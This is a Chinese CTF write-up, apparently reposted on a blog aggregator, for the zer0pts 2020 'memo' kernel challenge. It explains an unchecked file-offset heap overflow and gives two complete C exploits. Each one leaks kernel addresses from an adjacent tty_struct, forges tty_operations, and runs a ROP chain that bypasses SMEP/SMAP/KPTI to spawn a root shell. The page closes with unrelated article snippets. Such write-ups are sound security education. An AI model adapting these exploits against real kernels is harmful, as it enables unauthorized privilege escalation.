zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出

news2024/9/22 21:12:37

启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep,+smap \
    -monitor /dev/null \
    -nographic -enable-kvm
/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_readmod_write中,没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations,在0x300+0xC*8处布置tty_operations->ioctl,一个栈迁移指令
6、将rop布置到memo起始处(通过swapgs_restore_regs_and_return_to_usermode绕过PTI
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>

#define ulong unsigned long

ulong user_cs, user_ss, user_sp, user_rflags;

void pop_shell(void)
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

static void save_state(void)
{
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}

int main(void)
{
  // 前提是可以溢出,
  int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间
  int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_struct
  char buf[0x400];
  ulong *rop;
  ulong kernbase, kernheap;

  /**** gadgets ****/
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)
  ulong gad1 = 0x243b8;
  // 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)
  ulong pop_rdi = 0xe7ae8;
  // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)
  ulong mov_rdi_rax = 0xfc8e;
  // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)
  ulong pop_rcx = 0xfb892;
  ulong prepare_kernel_cred = 0x44850;
  ulong commit_creds = 0x44680;
  /*
   0xffffffff812009c4 <+68>:    mov    rdi,rsp
   0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff81806004
   0xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]
   0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]
   0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]
   0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]
   0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]
   0xffffffff812009de <+94>:    push   QWORD PTR [rdi]
   0xffffffff812009e0 <+96>:    push   rax
   0xffffffff812009e1 <+97>:    xchg   ax,ax
   0xffffffff812009e3 <+99>:    mov    rdi,cr3
   0xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>
   0xffffffff812009e8 <+104>:   mov    rax,rdi
   0xffffffff812009eb <+107>:   and    rdi,0x7ff

  */
  ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;

  // 保存状态
  save_state();

  // 溢出,读取 tty_struct
  lseek(memo, 0x300, SEEK_SET);
  read(memo, buf, 0x400);

  // leak kernbase and kernheap
  // 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址
  kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显
  printf("kernbase: %lx\n", kernbase);
  // struct tty_struct-> read_wait(list_head)->next 指向了自己
  // 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下
  kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址
  printf("kernheap: %lx\n", kernheap);

  // vtableへのポインタの書き換え
  *(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry
  *(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中

  lseek(memo, 0x300, SEEK_SET);
  write(memo, buf, 0x400); // overwrite ops and ioctl entry

  // ROP chain
  rop = (unsigned long *)buf;
  // gad1のごまかし*6
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;

  // init_task の cred を入手
  *rop++ = kernbase + pop_rdi;
  *rop++ = 0;
  *rop++ = kernbase + prepare_kernel_cred;

  // 入手したcredを引数にしてcommit
  *rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
  *rop++ = 0;
  *rop++ = kernbase + mov_rdi_rax;
  *rop++ = kernbase + commit_creds;

  // return to usermode by swapgs_restore_regs_and_return_to_usermode
  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)&pop_shell;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp;
  *rop++ = user_ss;

  // invoke shell
  lseek(memo, 0x0, SEEK_SET);
  write(memo, buf, 0x100);
  // ioctl(ptmx,0xdeadbeef,0xcafebabe);
  // ioctl(ptmx,rip,rdx)
  // rip = 0xdeadbeef
  // rdx = 0xcafebabe
  ioctl(ptmx, kernheap, kernheap);

  return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>

unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;

unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
        :
        : "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Win!");
  execve("/bin/sh", argv, envp);
}

int main() {
  unsigned long buf[0x400 / sizeof(unsigned long)];
  save_state();

  /* open drivers */
  int fd = open("/dev/memo", O_RDWR);
  if (fd < 0) {
    perror("/dev/memo");
    return 1;
  }
  int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);
  if (ptmx < 0) {
    perror("/dev/ptmx");
    return 1;
  }

  /* leak kbase & kheap */
  lseek(fd, 0x100, SEEK_SET);
  read(fd, buf, 0x400);
  kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;
  kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;
  printf("[+] kbase = 0x%016lx\n", kbase);
  printf("[+] kheap = 0x%016lx\n", kheap);

  /* write fake vtable, rop chain & overwrite ops */
  // fake tty_struct
  buf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops
  // fake tty_operations
  buf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl
  // rop chain
  unsigned long *chain = &buf[0x100 / sizeof(unsigned long)];
  *chain++ = kbase + rop_pop_rdi;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred;
  *chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep
  *chain++ = 0;
  *chain++ = kbase + rop_mov_rdi_rax;
  *chain++ = kbase + commit_creds;    // cc(pkc(0));
  *chain++ = kbase + rop_bypass_kpti; // return to usermode
  *chain++ = 0xdeadbeef;
  *chain++ = 0xdeadbeef;
  *chain++ = (unsigned long)&win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = user_sp;
  *chain++ = user_ss;

  // overwrite!
  lseek(fd, 0x100, SEEK_SET);
  write(fd, buf, 0x400);

  /* ignite! */
  ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13
  return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1440806.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电商小程序01需求分析

目录 1 电商用例分析2 功能架构3 原型开发3.1 首页3.2 店铺页面3.3 配货单3.4 配货单有货3.5 我的应用3.6 商品详情3.7 订单确认3.8 收货地址3.9 店铺详情3.10 店铺分类3.11 商品分类 总结 低代码学习的时候最高效的方法就是带着问题去学习&#xff0c;一般可以先从电商小程序开…

507. Perfect Number(完美数)

题目描述 对于一个 正整数&#xff0c;如果它和除了它自身以外的所有 正因子 之和相等&#xff0c;我们称它为 「完美数」。 给定一个 整数 n&#xff0c; 如果是完美数&#xff0c;返回 true&#xff1b;否则返回 false。 问题分析 按照题目要求找出每一个因子&#xff0c…

H12-821_74

74.在某路由器上查看LSP&#xff0c;看到如下结果&#xff1a; A.发送目标地址为3.3.3.3的数据包时&#xff0c;打上标签1026&#xff0c;然后发送。 B.发送目标地址为4.4.4.4的数据包时&#xff0c;不打标签直接发送。 C.当路由器收到标签为1024的数据包&#xff0c;将把标签…

文心一言 VS 讯飞星火 VS chatgpt (196)-- 算法导论14.3 4题

四、用go语言&#xff0c;给定一棵区间树 T 和一个区间 i &#xff0c;请描述如何在 O(min(n&#xff0c;klgn)) 时间内列出 T 中所有与 i 重叠的区间&#xff0c;其中 k 为输出的区间数。(提示:一种简单的方法是做若干次查询&#xff0c;并且在这些查询操作中修改树&#xff0…

Java图形化界面编程—— 基本组件和对话框 笔记

2.5 AWT中常用组件 2.5.1 基本组件 组件名功能ButtonButtonCanvas用于绘图的画布Checkbox复选框组件&#xff08;也可当做单选框组件使用&#xff09;CheckboxGroup选项组&#xff0c;用于将多个Checkbox 组件组合成一组&#xff0c; 一组 Checkbox 组件将只有一个可以 被选中…

[word] word中怎么插入另外一个word文档 #媒体#职场发展

word中怎么插入另外一个word文档 word中怎么插入另外一个word文档&#xff1f;有有些小伙伴在制作文档的时候&#xff0c;可能需要用到多个文档进行配合制作&#xff0c;今天小Q来给大家演示一下&#xff0c;插入Word文档的方法&#xff0c;插入其他类型文档的方法也是一样的。…

notepad++成功安装后默认显示英文怎么设置中文界面?

前几天使用电脑华为管家清理电脑后&#xff0c;发现一直使用的notepad软件变回了英文界面&#xff0c;跟刚成功安装的时候一样&#xff0c;那么应该怎么设置为中文界面呢&#xff1f;具体操作如下&#xff1a; 1、打开notepad软件&#xff0c;点击菜单栏“Settings – Prefere…

Qt简易登录界面

代码&#xff1a; #include "mywidget.h" #include "ui_mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent), ui(new Ui::MyWidget) {ui->setupUi(this);ui->background->setPixmap(QPixmap(":/qt picture/logo.png"))…

C++:二叉搜索树模拟实现(KV模型)

C&#xff1a;二叉搜索树模拟实现&#xff08;KV模型&#xff09; 前言模拟实现KV模型1. 节点封装2、前置工作&#xff08;默认构造、拷贝构造、赋值重载、析构函数等&#xff09;2. 数据插入&#xff08;递归和非递归版本&#xff09;3、数据删除&#xff08;递归和非递归版本…

C# 字体大小的相关问题

设置字体大小无法这么写&#xff0c; button1.Font.Size 20&#xff1b; 这个是只读属性&#xff1b; 把字体大小改为16&#xff0c; button2.Font new Font(button2.Font.Name, 16); 程序运行的时候先看一下窗体和控件的默认字体尺寸&#xff0c;都是9&#xff1b;然后点b…

目标检测 | 卷积神经网络(CNN)详细介绍及其原理详解

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;是一种深度学习模型&#xff0c;主要用于图像识别和计算机视觉任务。它的设计灵感来自于生物学中视觉皮层的工作原理。CNN的核心思想是通…

RedissonClient妙用-分布式布隆过滤器

目录 布隆过滤器介绍 布隆过滤器的落地应用场景 高并发处理 多个过滤器平滑切换 分析总结 布隆过滤器介绍 布隆过滤器&#xff08;Bloom Filter&#xff09;是1970年由布隆提出的。它实际上是一个很长的二进制向量和一系列随机映射函数。布隆过滤器可以用于检索一个元素是…

Android Studio安装过程遇到SDK无法安装问题解决

首次打开studio遇到该类问题&#xff0c;需要下载SDK文件&#xff0c;后又发现SDK由于是Google源&#xff0c;无法进行正常安装&#xff0c;故转而进行SDK的镜像安装。 一、下载SDK Tools 地址&#xff1a;AndroidDevTools - Android开发工具 Android SDK下载 Android Studio…

华为第二批难题一:基于预训练AI模型的元件库生成

我的理解&#xff1a;华为的这个难道应该是想通过大模型技术&#xff0c;识别元件手册上的图文内容&#xff0c;与现有建库工具结合&#xff0c;有潜力按标准生成各种库模型。 正好&#xff0c;我们正在研究&#xff0c;利用知识图谱技术快速生成装配模型&#xff0c;其中也涉…

微调LLM或使用RAG,开发RAG管道的12个痛点

论文地址&#xff1a;archive.is/bNbZo Pain Point 1: Missing Content 内容缺失 Pain Point 2: Missed the Top Ranked Documents 错过排名靠前的文档 Pain Point 3: Not in Context — Consolidation Strategy Limitations 不在上下文中 — 整合战略的局限性 Pain Point …

DBNet详解及训练ICDAR2015数据集

论文地址&#xff1a;https://arxiv.org/pdf/1911.08947.pdf 开源代码pytorch版本&#xff1a;GitHub - WenmuZhou/DBNet.pytorch: A pytorch re-implementation of Real-time Scene Text Detection with Differentiable Binarization 前言 在这篇论文之前&#xff0c;文字检…

【龙年大礼】| 2023中国开源年度报告!

【中国开源年度报告】由开源社从 2015 年发起&#xff0c;是国内首个结合多个开源社区、高校、媒体、风投、企业与个人&#xff0c;以纯志愿、非营利的理念和开源社区协作的模式&#xff0c;携手共创完成的开源研究报告。后来由于一些因素暂停&#xff0c;在 2018 年重启了这个…

香港倾斜模型3DTiles数据漫游

谷歌地球全香港地区倾斜摄影数据&#xff0c;通过工具转换成3DTiles格式&#xff0c;将这份数据完美加载到三维数字地球Cesium上进行完美呈现&#xff0c;打造香港地区三维倾斜数据覆盖&#xff0c;完美呈现香港城市壮美以及维多利亚港繁荣景象。再由12.5米高分辨率地形数据&am…

Java完整版宿舍管理

项目技术&#xff1a; springboot layui idea mysql5.7 jdk1.8 maven3 有需要该项目的小伙伴可以私信我你的Q。 功能描述&#xff1a; &#xff08;1&#xff09;基本信息管理 基本信息分为学生信息和宿舍信息两部分&#xff0c;其功能是负责维护这些信息&#xff0c…

Ubuntu22.04 gnome-builder gnome C 应用程序习练笔记(二)

gnome-builder创建的程序&#xff0c;在工程树中有三个重要程序&#xff1a;main主程序、application应用程序和window主窗口程序。main整个程序的起始&#xff0c;它会操作application生产应用环境&#xff0c;application会操作window生成主窗口&#xff0c;于是就有了 appli…